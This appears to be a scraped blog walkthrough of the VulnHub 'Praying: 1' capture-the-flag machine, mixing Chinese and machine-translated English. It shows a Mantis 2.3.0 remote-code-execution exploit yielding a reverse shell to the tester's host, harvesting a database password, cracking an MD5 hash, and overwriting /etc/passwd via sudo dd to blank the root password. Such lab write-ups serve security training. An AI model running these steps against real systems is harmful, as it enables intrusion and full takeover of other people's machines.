当前位置:网站首页>Praying: 1 vulnhub walkthrough
Praying: 1 vulnhub walkthrough
2022-08-02 03:59:00 【xdeclearn】
Praying: 1
虚拟机信息:http://www.vulnhub.com/entry/praying-1,575/
1. 获取shell
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
服务器只开放了80端口,访问后为apache默认页面,于是用dirbran the directory,发现了admin目录.
==> DIRECTORY: http://192.168.56.105/admin/
Found after discoverymantis的登陆页面

After testing, it was found that there is still an arbitrary account password reset vulnerability.修改aministrator账户登陆,发现版本为2.3.0.

利用searchsploitDirectly found the command execution code.
Mantis Bug Tracker 2.3.0 - Remote Code E | php/webapps/48818.py
于是得到了第一个shell.
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.56.101:4444
[*] Command shell session 1 opened (192.168.56.101:4444 -> 192.168.56.105:55892) at 2020-11-26 08:31:16 -0500
id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/var/www/html$
2. 获取root
Do some information gathering first
cat /etc/passwd|grep /bin/bash
root::0:0:root:/root:/bin/bash
mantis:x:1000:1000:praying:/home/mantis:/bin/bash
developer:x:1001:1001:,,,:/home/developer:/bin/bash
projman:x:1002:1002:,,,:/home/projman:/bin/bash
elevate:x:1003:1003:,,,:/home/elevate:/bin/bash
root:x:0:0:root:/root:/bin/bash
mantis:x:1000:1000:praying:/home/mantis:/bin/bash
developer:x:1001:1001:,,,:/home/developer:/bin/bash
projman:x:1002:1002:,,,:/home/projman:/bin/bash
elevate:x:1003:1003:,,,:/home/elevate:/bin/bash
ls -all /home
total 24
drwxr-xr-x 6 root root 4096 Sep 24 23:01 .
drwxr-xr-x 20 root root 4096 Sep 24 16:12 ..
drwx------ 3 developer developer 4096 Sep 24 20:15 developer
drwx------ 4 elevate elevate 4096 Nov 26 13:12 elevate
drwx------ 4 mantis mantis 4096 Sep 26 23:25 mantis
drwx------ 5 projman projman 4096 Sep 26 23:27 projman
发现了用户mantis,So check whether there are any files related to the user.
发现存在/var/www/redmine目录,进入之后在database.yml找到了用户 projman的口令.
adapter: mysql2
database: redmine
host: localhost
username: projman
password: "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
# Use "utf8" instead of "utfmb4" for MySQL prior to 5.7.7
encoding: utf8mb4
切换用户登陆,It was found that there is a file under the user for .part1.
ls -all
total 36
drwx------ 5 projman projman 4096 Sep 26 23:27 .
drwxr-xr-x 6 root root 4096 Sep 24 23:01 ..
lrwxrwxrwx 1 projman projman 9 Sep 24 23:19 .bash_history -> /dev/null
-rw-r--r-- 1 projman projman 220 Sep 24 20:11 .bash_logout
-rw-r--r-- 1 projman projman 3771 Sep 24 20:11 .bashrc
drwx------ 2 projman projman 4096 Sep 24 20:13 .cache
drwxrwxr-x 3 projman projman 4096 Sep 24 23:47 .local
-rw-r--r-- 1 projman projman 33 Sep 24 23:47 .part1
-rw-r--r-- 1 projman projman 807 Sep 24 20:11 .profile
drwx------ 2 projman projman 4096 Sep 26 23:27 .ssh
cat .part1
4914CACB6C089C74AEAEB87497AF2FBA
Put that password incmd5Crack to get new userselevate的密码tequieromucho.
切换到该用户,查看sudo -l,发现可以sudo执行dd命令.这个就比较简单了,重写一个/etc/passwd取消root账户密码,成功获取root.这是新的passwd文件1.txt.
cat 1.txt
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
........................
[email protected]:~$ sudo -u root dd if=1.txt of=/etc/passwd
sudo -u root dd if=1.txt of=/etc/passwd
[sudo] password for elevate: tequieromucho
8+1 records in
8+1 records out
4106 bytes (4.1 kB, 4.0 KiB) copied, 0.000241207 s, 17.0 MB/s
[email protected]:~$ su - root
su - root
[email protected]:~# ls
ls
message part2 root.txt snap
[email protected]:~# cat root.txt
cat root.txt
██▓███ ██▀███ ▄▄▄ ▓██ ██▓ ██▓ ███▄ █ ▄████
▓██░ ██▒▓██ ▒ ██▒████▄ ▒██ ██▒▓██▒ ██ ▀█ █ ██▒ ▀█▒
▓██░ ██▓▒▓██ ░▄█ ▒██ ▀█▄ ▒██ ██░▒██▒▓██ ▀█ ██▒▒██░▄▄▄░
▒██▄█▓▒ ▒▒██▀▀█▄ ░██▄▄▄▄██ ░ ▐██▓░░██░▓██▒ ▐▌██▒░▓█ ██▓
▒██▒ ░ ░░██▓ ▒██▒▓█ ▓██▒ ░ ██▒▓░░██░▒██░ ▓██░░▒▓███▀▒
▒▓▒░ ░ ░░ ▒▓ ░▒▓░▒▒ ▓▒█░ ██▒▒▒ ░▓ ░ ▒░ ▒ ▒ ░▒ ▒
░▒ ░ ░▒ ░ ▒░ ▒ ▒▒ ░▓██ ░▒░ ▒ ░░ ░░ ░ ▒░ ░ ░
░░ ░░ ░ ░ ▒ ▒ ▒ ░░ ▒ ░ ░ ░ ░ ░ ░ ░
░ ░ ░░ ░ ░ ░ ░
███▄ ▄███▓ ▄▄▄ ███▄ ░ █ ▄▄▄█████▓ ██▓ ██████
▓██▒▀█▀ ██▒▒████▄ ██ ▀█ █ ▓ ██▒ ▓▒▓██▒▒██ ▒
▓██ ▓██░▒██ ▀█▄ ▓██ ▀█ ██▒▒ ▓██░ ▒░▒██▒░ ▓██▄
▒██ ▒██ ░██▄▄▄▄██▓██▒ ▐▌██▒░ ▓██▓ ░ ░██░ ▒ ██▒
▒██▒ ░██▒ ▓█ ▓██▒██░ ▓██░ ▒██▒ ░ ░██░▒██████▒▒
░ ▒░ ░ ░ ▒▒ ▓▒█░ ▒░ ▒ ▒ ▒ ░░ ░▓ ▒ ▒▓▒ ▒ ░
░ ░ ░ ▒ ▒▒ ░ ░░ ░ ▒░ ░ ▒ ░░ ░▒ ░ ░
░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░
██▀███░ ▒█████ ░ ▒█████ ▄▄▄█████▓▓█████ ▓█████▄░ ▐██▌
▓██ ▒ ██▒▒██▒ ██▒▒██▒ ██▒▓ ██▒ ▓▒▓█ ▀ ▒██▀ ██▌ ▐██▌
▓██ ░▄█ ▒▒██░ ██▒▒██░ ██▒▒ ▓██░ ▒░▒███ ░██ █▌ ▐██▌
▒██▀▀█▄ ▒██ ██░▒██ ██░░ ▓██▓ ░ ▒▓█ ▄ ░▓█▄ ▌ ▓██▒
░██▓ ▒██▒░ ████▓▒░░ ████▓▒░ ▒██▒ ░ ░▒████▒░▒████▓ ▒▄▄
░ ▒▓ ░▒▓░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒ ░░ ░░ ▒░ ░ ▒▒▓ ▒ ░▀▀▒
░▒ ░ ▒░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░
░░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░
░
https://www.youtube.com/watch?v=T1XgFsitnQw
边栏推荐
- [mikehaertl/php-shellcommand] A library for invoking external command operations
- 3.PHP数据类型、常量、字符串和运算符
- 点名系统和数组元素为对象的排序求最大值和最小值
- Eric靶机渗透测试通关全教程
- IO stream, encoding table, character stream, character buffer stream
- 线程池(线程池介绍与使用)
- ES6介绍+定义变量+不同情况下箭头函数的this指向
- vim edit mode
- Advanced Operations on Arrays
- PHP图片压缩到指定的大小
猜你喜欢

DVWA靶机安装教程

Phpstudy安装Thinkphp6(问题+解决)

js __proto__、prototype、constructor的关系

MySql Advanced -- Constraints

PHP Foundation March Press Announcement Released

Several interesting ways to open PHP: from basic to perverted

ES6介绍+定义变量+不同情况下箭头函数的this指向

4. The form with the input

Stable and easy-to-use short connection generation platform, supporting API batch generation

Phonebook
随机推荐
Shuriken: 1 vulnhub walkthrough
PHP 发起支付宝支付时 订单信息乱码解决
Phonebook
TCP communications program
Phpstudy installs Thinkphp6 (problem + solution)
第一次手撕代码,如何解出全排列问题
MySql Advanced -- Constraints
Several interesting ways to open PHP: from basic to perverted
Pycharm打包项目为exe文件
PHP基金会三月新闻公告发布
13.JS输出内容和语法
阿里云服务器如何使用admin账户登录
SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration
ES6三点运算符、数组方法、字符串扩展方法
(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合
12. What is JS
VIKINGS: 1 vulnhub walkthrough
Baidu positioning js API
ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach
ES6介绍+定义变量+不同情况下箭头函数的this指向